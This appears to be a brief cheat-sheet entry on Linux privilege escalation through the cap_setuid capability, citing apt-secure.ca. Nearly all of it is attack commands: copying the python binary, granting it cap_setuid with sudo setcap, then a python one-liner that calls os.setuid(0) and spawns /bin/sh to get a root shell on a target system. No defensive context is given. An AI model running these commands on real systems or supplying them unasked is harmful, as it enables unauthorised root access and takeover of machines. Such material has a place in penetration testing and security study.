Privilege Escalation

cap_setuid

more at apt-secure.ca

#cp $(which python) .

#sudo setcap cap_setuid+ep python


run the command below in which ever version of python target system has

#python -c 'import os; os.setuid(0); os.system("/bin/sh")'